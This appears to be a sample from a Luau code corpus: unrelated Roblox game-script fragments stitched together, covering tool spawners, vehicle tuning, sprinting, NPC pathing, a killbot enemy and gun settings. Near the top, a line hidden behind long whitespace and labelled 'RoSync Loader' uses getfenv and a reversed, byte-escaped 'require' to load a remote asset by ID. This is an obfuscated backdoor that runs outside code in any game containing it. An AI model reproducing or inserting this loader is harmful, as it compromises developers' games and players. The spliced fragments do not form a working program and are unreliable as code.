Roblox/luau_corpus huggingface dataset:
--if tool then
--	local handle = tool:FindFirstChild("Handle")
--	local toolCopy = tool:Clone()
--	toolCopy.Parent = game.ServerStorage
--	local toolOnPad = true	
--	
--	local parentConnection
--	parentConnection = tool.AncestryChanged:connect(function()
--		if handle then handle.Anchored = false end
--		toolOnPad = false
--		parentConnection:disconnect()
--	end)
--	
--	if handle then
--		handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
--		handle.Anchored = true
--	end
--	
--	while true do
--		while toolOnPad do
--			if handle then
--				handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
--			end
--			wait()
--		end
--		wait(configs["SpawnCooldown"])
--		local newTool = toolCopy:Clone()
--		newTool.Parent = game.Workspace
--		handle = newTool:FindFirstChild("Handle")
--		toolOnPad = true
--	end
--end
--[[ Last synced 7/23/2022 04:59                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Roact
local new = Roact.createElement
local ToolButton = require(script.Parent:WaitForChild('ToolButton'))
-- shut down the script when we die and reset things
humanoid.Died:Connect(function()
	stepped_con:Disconnect()
	leftshoulderclone:Destroy()
	rightshoulderclone:Destroy()
	viewmodel:Destroy()
	if rightshoulder then
		rightshoulder.Enabled = true
	end
	if leftshoulder then
		leftshoulder.Enabled = true
	end
	larm.Anchored = false
	rarm.Anchored = false
	armtransparency = 0
	visiblearms(false)
end)
--end
end
end

function Plaka()
for i,v in pairs(Car.Body.Plate:GetChildren()) do
v.SGUI.Identifier.Text = Stats.Plate.Value
end
end


function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end
-- Functions
players.PlayerAdded:Connect(function(player)
    player.CharacterAdded:Connect(function(character)
        
        local rootPart = character:WaitForChild("HumanoidRootPart")
        
        local footstepsSound = Instance.new("Sound")
        footstepsSound.Name = "Footsteps"
        footstepsSound.Volume = 0.15
        footstepsSound.RollOffMaxDistance = 30
        footstepsSound.RollOffMode = Enum.RollOffMode.Linear
        footstepsSound.PlayOnRemove = true
        
        footstepsSound.Parent = rootPart
        
    end)
end)
--
mouse.KeyDown:connect(function(key)
	if key=="r" then
		if GMode>=2 then
			GMode=0
		else
			GMode=GMode+1
		end
		if GMode==2 then
			Controller=true
		else
			Controller=false
		end
		if GMode==0 then
			script.Parent.Mode.Text = "Control Mode: Keyboard"
		elseif GMode==1 then
			script.Parent.Mode.Text = "Control Mode: Mouse"
		else
			script.Parent.Mode.Text = "Control Mode: Controller"
		end
	end
end)
game["Run Service"].RenderStepped:connect(function()
	for i,v in pairs(Binded) do
		v()
	end
end)

car.DriveSeat.Start2:Play()
car.DriveSeat.Start1:Stop()
for i,v in pairs(Sounds.Looped) do
	v:Play()
end
coroutine.resume(coroutine.create(function()
	for i,v in pairs(car.Body.Exhaust:GetChildren()) do
		v.Afterburn.Rate=10
	end
	wait(.3)
	for i,v in pairs(car.Body.Exhaust:GetChildren()) do
		v.Afterburn.Rate=0
	end
end))
while wait() do
	for i,v in pairs(LoopRun) do
		v()
	end
end
--print(Hit, Hit.Name)
			if Hit.Name == "Terrain" or Hit.CanCollide == false then -- In front is Water or a steep hill made of Terrain.
				Hit = nil  -- swim or climb, or Ray hit a Non-colliding Part; and don't check for floor. This will not do, as we do not get a Hit when under-water, so we will check for floor. We must check Swimming event.
			else -- Jump?
				Hit = DrawRay(originPrime + Vector3.new(0,4.8,0), pointPrime)
				if Hit == nil then  -- (Does NOT check CanCollide of Part blocking Jump)
					hum.Jump = true  --  we do NOT check for "Floor", if jumping, but it might be a good idea.
				end -- Room to jump?
			end --Terrain? Water?
		end -- Ladder?

	else	-- path is clear. Check for cliff... or OK to drop

	local Level = torsoPos.y 
		if target then
			Level = target.Position.y  -- get Target's current position.
		else  -- Target is dead. Abandon all logic...
			Logic = 0		 -- but still check for floor
		end

		if torsoPos.y - 2 < Level then  -- if Player is not well below us...
 
			Hit = DrawRay(torsoPos + point * .8 + Vector3.new(0,1,0), Vector3.new(0,-7,0)) -- check for floor 85% of dir ahead
			if Hit == nil then -- There is no floor
				Hit = true  -- Force a hit; we may not be able to get back up here.

			else
				Hit = nil  -- Force a false to hit, 'cause everything is OK. (Does NOT check CanCollide of Floor!)
			end -- cliff check
		end -- Player Hieght
	end  -- path ok?
return Hit
end -- FireRayToward


function FireAtPlayer()
	origin = CFrame.new(torsoPos, Vector3.new(targpos.x, torsoPos.y, targpos.z)) -- This contains Origin & Direction
local hit =	FireRayToward()
return hit
end

function FireRayAhead()
	origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir))
local hit =	FireRayToward()
	targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
return hit
end

function FireRay() -- Fire Ahead and diagonaly
	origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag))
local hit = FireRayToward()
	if hit then
		origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir))
		hit = FireRayToward()
		if not hit then
			targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
		end
	else
			targpos = torsoPos + Vector3.new(Xdag,0,Zdag)
	end
return hit
end -- Fire Ray

function FireDag()
origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag))
local	hit = FireRayToward()
return hit
end -- Fire Diagonaly


function	TurnRight()

	if Xdir == 0 then
		Xdir = -Zdir
      Zdir = 0
	else
      Zdir = Xdir
      Xdir = 0
	end
	if Xdag == Zdag then Xdag = -Xdag else	Zdag = -Zdag end

end -- Left

function	TurnLeft()
	if Xdir == 0 then
		Xdir = Zdir
      Zdir = 0
	else
      Zdir = -Xdir
      Xdir = 0
	end

	if Xdag == Zdag then Zdag = -Zdag else	Xdag = -Xdag end
	
end -- Left


function GetDir()
				Xdir = (targpos.x - torsoPos.x) -- Which way are we going?
				Zdir = (targpos.z - torsoPos.z)
--wait
	wait(BRAINWave)

	while FreeFalling do
		FreeFalling = false
		wait(.2)
	end
	
end  -- Main
--[=[
	Clones the given instance and adds it to the trove. Shorthand for
	`trove:Add(instance:Clone())`.
]=]
function Trove:Clone(instance: Instance): Instance
	return self:Add(instance:Clone())
end
--script.Parent.Parent.BrickColor = BrickColor.new("Lime green")
--Lights1.Material = "SmoothPlastic"
--Lights2.Material = "SmoothPlastic"
--Lights3.Material = "SmoothPlastic"
--Lights1.BrickColor = BrickColor.new("Transparent")
--Lights2.BrickColor = BrickColor.new("Transparent")
--Lights3.BrickColor = BrickColor.new("Transparent")

local LightsModel = script.Parent.Parent.Parent.LightsModel
local debounce = false

script.Parent.MouseClick:Connect(function()
	if debounce == false then
		debounce = true
		script.Parent.Parent.BrickColor = BrickColor.new("Really red")
		for i, v in pairs(LightsModel:GetDescendants()) do
			if v:IsA("BasePart") then
				v.Material = "Neon"
				v.BrickColor = BrickColor.new("Cyan")
			end
		end
	elseif debounce == true then
		
	end
end)
--[[Brakes]]
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 2000		-- Front brake force
	Tune.RBrakeForce	= 1650		-- Rear brake force
	Tune.PBrakeForce	= 5200		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
-- gets the middle point of 2 vector2's
function maths:GetMidpoint2(v2,V2)
	return (v2+V2)/2
end
-- ROBLOX deviation: we don't support string refs, and this is unsound flowtype when used with ref param of useImperativeHandle
-- | string

export type React_Context<T> = {
	Provider: React_ComponentType<{ value: T, children: React_Node? }>,
	Consumer: React_ComponentType<{ children: (value: T) -> React_Node? }>,
}
---------------------------------
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
script.Parent.Parent.Humanoid.WalkSpeed = 16


end
end
-- Set the gravitational pull for the confetti.
local gravity = Vector2.new(0,1);
function _Confetti.setGravity(paramVec2)
	gravity = paramVec2;
end;
--		Button.Size = Size1
--		Button.Material = Material1
		DigitNumber.Value = DigitNumber.Value - 1
		if DigitNumber.Value < Min then
			DigitNumber.Value = Max
		end
		NumberGUI.Text = DigitNumber.Value
		EnteredCode.Value = tostring(Digit1.Value)..""..tostring(Digit2.Value)..""..tostring(Digit3.Value)
		wait(.5)
--Clutch: 
Tune.SpeedEngage 	= 15		-- Speed the clutch fully engages at (Based on SPS)
--[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]]
--[[ export const test: NewPlugin['test'] ]]
local function test(val: unknown): boolean
	return val ~= nil and ReactIs.isElement(val)
end
exports.test = test

local plugin: NewPlugin = { serialize = serialize, test = test }

exports.default = plugin
return exports
--= Functions =--

UIS.InputBegan:connect(function(key, gameProcessed)
	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
		character.Humanoid.WalkSpeed = NewWalkSpeed
		sprinting = true
		while power > 0 and sprinting do
			power = power - .03
			Bar.Size = UDim2.new(power / 10, 0, 1, 0)
			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 42, 42), 0.001)
			tween:Play()
			wait()
			if power <= 0 then
				sprinting = false
				character.Humanoid.WalkSpeed = NormalWalkSpeed
			end
		end
	end
end)

UIS.InputEnded:connect(function(key, gameProcessed)
	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
		character.Humanoid.WalkSpeed = NormalWalkSpeed
		sprinting = false
		runninganim:Stop()
		while power < 10 and not sprinting do
			power = power + .03
			Bar.Size = UDim2.new(power / 10, 0, 1, 0)
			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)
			tween2:Play()
			wait()
			if power <= 0 then
				character.Humanoid.WalkSpeed = NormalWalkSpeed
			end
		end
	end
end)

Humanoid.Running:Connect(function()
	print("step 1")
	if Humanoid.MoveDirection.Magnitude > 0 then
		print("step 2")
		if sprinting == true then
			print("complete")
			runninganim:Play()
			--while sprinting==false or Humanoid.MoveDirection.Magnitude <= 0 do
				--if runninganim ~= nil then
				--	runninganim:Stop()
				--end
				--runninganim:Stop()
				--wait()
			--end
		end
	else
		runninganim:Stop()
		end
end)
--- Registers a command based purely on its definition.
-- Prefer using Registry:RegisterCommand for proper handling of server/client model.
function Registry:RegisterCommandObject (commandObject, fromCmdr)
	for key in pairs(commandObject) do
		if self.CommandMethods[key] == nil then
			error("Unknown key/method in command " .. (commandObject.Name or "unknown command") .. ": " .. key)
		end
	end

	if commandObject.Args then
		for i, arg in pairs(commandObject.Args) do
			if type(arg) == "table" then
				for key in pairs(arg) do
					if self.CommandArgProps[key] == nil then
						error(('Unknown propery in command "%s" argument #%d: %s'):format(commandObject.Name or "unknown", i, key))
					end
				end
			end
		end
	end

	if commandObject.AutoExec and RunService:IsClient() then
		table.insert(self.AutoExecBuffer, commandObject.AutoExec)
		self:FlushAutoExecBufferDeferred()
	end

	-- Unregister the old command if it exists...
	local oldCommand = self.Commands[commandObject.Name:lower()]
	if oldCommand and oldCommand.Aliases then
		for _, alias in pairs(oldCommand.Aliases) do
			self.Commands[alias:lower()] = nil
		end
	elseif not oldCommand then
		self.CommandsArray[#self.CommandsArray + 1] = commandObject
	end

	self.Commands[commandObject.Name:lower()] = commandObject

	if commandObject.Aliases then
		for _, alias in pairs(commandObject.Aliases) do
			self.Commands[alias:lower()] = commandObject
		end
	end
end
-- Clear any existing animation tracks
-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil
if animator then
	local animTracks = animator:GetPlayingAnimationTracks()
	for i,track in ipairs(animTracks) do
		track:Stop(0)
		track:Destroy()
	end
end

for name, fileList in pairs(animNames) do 
	configureAnimationSet(name, fileList)
end
--The LocalScript must be parented inside StarterPlayer.StarterPlayerScripts to function properly, unless the code is modified.
local LocalScript = script.Parent 
LocalScript.Parent = game.StarterPlayer.StarterPlayerScripts
--	end
	end
	wait(1)
	deb = false
	script.Parent.Text = ("Complete")
	end
script.Parent.MouseButton1Click:connect(onClicked)
--[[ Input/Settings Changed Events ]]--
local mouseLockSwitchFunc = function(actionName, inputState, inputObject)
	if IsShiftLockMode then
		onShiftLockToggled()
	end
end

local function disableShiftLock()
	if ShiftLockIcon then ShiftLockIcon.Visible = false end
	IsShiftLockMode = false
	Mouse.Icon = ""
	if InputCn then
		InputCn:disconnect()
		InputCn = nil
	end
	IsActionBound = false
	ShiftLockController.OnShiftLockToggled:Fire()
end
-- ROBLOX deviation START: Re-export bindings types
export type ReactBinding<T> = ReactTypes.ReactBinding<T>
export type ReactBindingUpdater<T> = ReactTypes.ReactBindingUpdater<T>
--basic variables
local Tool = script.Parent
repeat wait() until Tool.Parent:findFirstChild("Humanoid")
local Plr = game.Players:findFirstChild(Tool.Parent.Name)
local Chr = Tool.Parent
local Hum = Chr.Humanoid
local R = Random.new()
--- subscribe the YouTube - PRO100zola 3k

local hum = script.Parent:WaitForChild("Humanoid")
local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
--[=[
	@within ClientRemoteSignal
	@interface Connection
	.Disconnect () -> nil
]=]

function ClientRemoteSignal.new(re: RemoteEvent, inboundMiddleware: ClientMiddleware?, outboudMiddleware: ClientMiddleware?)
	local self = setmetatable({}, ClientRemoteSignal)
	self._re = re
	if outboudMiddleware and #outboudMiddleware > 0 then
		self._hasOutbound = true
		self._outbound = outboudMiddleware
	else
		self._hasOutbound = false
	end
	if inboundMiddleware and #inboundMiddleware > 0 then
		self._directConnect = false
		self._signal = Signal.new(nil)
		self._reConn = self._re.OnClientEvent:Connect(function(...)
			local args = table.pack(...)
			for _,middlewareFunc in ipairs(inboundMiddleware) do
				local middlewareResult = table.pack(middlewareFunc(args))
				if not middlewareResult[1] then
					return
				end
			end
			self._signal:Fire(table.unpack(args, 1, args.n))
		end)
	else
		self._directConnect = true
	end
	return self
end

function ClientRemoteSignal:_processOutboundMiddleware(...: any)
	local args = table.pack(...)
	for _,middlewareFunc in ipairs(self._outbound) do
		local middlewareResult = table.pack(middlewareFunc(args))
		if not middlewareResult[1] then
			return table.unpack(middlewareResult, 2, middlewareResult.n)
		end
	end
	return table.unpack(args, 1, args.n)
end
--// Handling Settings		
	Firerate = 60 / 300; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
	
	FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
---------------------------------
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
if AJ == false then
AJ = true
antijump = script.AntiJump:clone()
antijump.Parent = Tool.Parent
antijump.Disabled = false
elseif AJ == true then
antijump.Disabled = false
end


wait(0.01)

elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
Tool.Parent:findFirstChild("Humanoid").WalkSpeed = 16
antijump.Disabled = true
end
end
-------------Motor6Ding Section------------------------

Character.Humanoid.Died:connect(function()
	Stand()
	_G.Proned = false
	_G.Crouched = false
	_G.Sprinting = false
end)
game:GetService("RunService").RenderStepped:connect(function()
	Mouse.TargetFilter = game.Workspace
	if not _G.Viewing then	
	local HRPCF =  Character.UpperTorso.CFrame * CFrame.new(0, .5, 0)* CFrame.new(Humanoid.CameraOffset)
	if Lean then
		HRPCF = HRPCF
	end
	Neck.C0 =  Torso.CFrame:toObjectSpace(HRPCF)
	Neck.C1 =  CFrame.Angles(-math.asin(Camera.CoordinateFrame.lookVector.y), 0, 0) 
	elseif _G.Viewing then	
	Character.Torso.Neck.C0 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 0, 0)
	Character.Torso.Neck.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 0, 0)
	end
	if player.PlayerScripts.CameraScript.RootCamera:FindFirstChild("Sensitivity") then
		if Aiming then
			player.PlayerScripts.CameraScript.RootCamera.Sensitivity.Value = Player.PlayerGui.MouseSensitivity.Frame.Data.Value
		else
			player.PlayerScripts.CameraScript.RootCamera.Sensitivity.Value = 1
		end
	Mouse.Button2Down:connect(function()
		if not Aiming then
			Aiming = true
		end
	end)
	Mouse.Button2Up:connect(function()
		if Aiming then
			Aiming = false
		end
	end)	
	end
end)--]]
Humanoid.HipHeight = 1
-- Constructor

local Camera = workspace.CurrentCamera
local Looping = true
local Speed = 1
local FreezeControls = false
--!strict
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
type reduceFn<T, U> = (previousValue: U, currentValue: T, currentIndex: number, array: Array<T>) -> U
--[[
	Stage implementation
]]

local EndGame = {}
EndGame.__index = EndGame

function EndGame.new(gameStageHandler)
	local self = setmetatable({
		gameStageHandler = gameStageHandler,
	}, EndGame)

	return self
end

function EndGame:initialize()
	wait(5) -- TODO: Have a buffer time at the end of the game based on a configuration

	-- Teleport players back to the main lobby place
	for _, player in pairs(Players:GetPlayers()) do
		TeleportService:Teleport(Conf.lobby_place, player)
	end
end

function EndGame:playerAdded(player)
	local warningMessage = "Player " .. player.Name .. " joined after game start"
	warn(warningMessage)
	WarningEvent:FireAllClients(warningMessage)
end

function EndGame:destroy()
end

return EndGame
-- this code hijacked from the new rocket launcher
local Rocket = Instance.new("Part")
Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,4)
Rocket.BrickColor = BrickColor.new(21)
script.Parent.RocketScript:clone().Parent = Rocket
script.Parent.Explosion:clone().Parent = Rocket
script.Parent.Swoosh:clone().Parent = Rocket


function fire(target)
	

	local dir = target - sphere.Position
	dir = computeDirection(dir)


	local missile = Rocket:clone()

	local spawnPos = sphere.Position

	local pos = spawnPos + (dir * 8)
	
	--missile.Position = pos
	missile.CFrame = CFrame.new(pos,  pos + dir)

	
	missile.RocketScript.Disabled = false
	missile.Parent = game.Workspace

end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

function scanForHumans()
	-- KILL THE HUMANS!!!!!!!!!!

	-- for now, pick a random one. In the future, pick the closest. Or use hit test to pick a visible one.
	local humansFound = {}

	local players = game.Players:children()

	if (#players < 1) then return end

	local i = math.random(1, #players)

	myTarget = players[i].Character
	
end

function moveKillbot()
	
	-- killbots move using a biased random walk toward the target
	-- they also like to float at least 10 studs above the ground

	local dx = math.random(-100,100)
	local dy = math.random(-40,40)
	local dz = math.random(-100,100)

	if (sphere.Position.y < 10 and dy < 0) then dy = -dy end
	if (sphere.Position.y > 80 and dy > 0) then dy = -dy end

	if (myTarget ~= nil) then
		local dir = computeDirection(myTarget.PrimaryPart.Position - sphere.Position)
		dx = dx + (dir.x * 80) -- change this number to alter player trophism
		dz = dz + (dir.z * 80)
	end

	local vec = computeDirection(Vector3.new(dx,dy,dz))

	sphere.BodyPosition.position = sphere.Position + (vec * 40) -- change this number to alter speed
	

end

function onTouched(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	if humanoid~=nil then
		humanoid.Health = humanoid.Health - 2000 -- Killbots kill you when you touch them! duh.
	end
end

sphere.Touched:connect(onTouched)

while true do  -- loop forever
	scanForHumans()

	for n=1,5 do
		if (myTarget ~= nil) then
			if(math.random(1,3) == 2) then fire(myTarget.PrimaryPart.Position) end
			wait(math.random(1,2))
			moveKillbot()
			wait(math.random(1,2))
		end
	end
	wait(1) -- don't hog CPU
end
--	====================
--	BASIC
--	A basic settings for the gun
--	====================

		Auto = true;
		MuzzleOffset = Vector3.new(0, 0.625, 1.25);
		BaseDamage = 40;
		FireRate = 0.1; --In second
		ReloadTime = 2; --In second
		AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload
		Spread = 1.25; --In degree
		HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
		HeadshotDamageMultiplier = 4;
		MouseIconID = "316279304";
		HitSoundIDs = {186809061,186809249,186809250,186809252};
		IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate
		IdleAnimationSpeed = 1;
		FireAnimationID = 94332152; --Set to "nil" if you don't want to animate
		FireAnimationSpeed = 6;
		ReloadAnimationID = nil; --Set to "nil" if you don't want to animate
		ReloadAnimationSpeed = 1;
-- Set up character event binding when player joins the game
local function onPlayerAdded(player)
	player.CharacterAdded:Connect(onCharacterAdded)
	player.CharacterRemoving:Connect(onCharacterRemoving)
end
--Search Event
frame.Search:GetPropertyChangedSignal("Text"):Connect(update)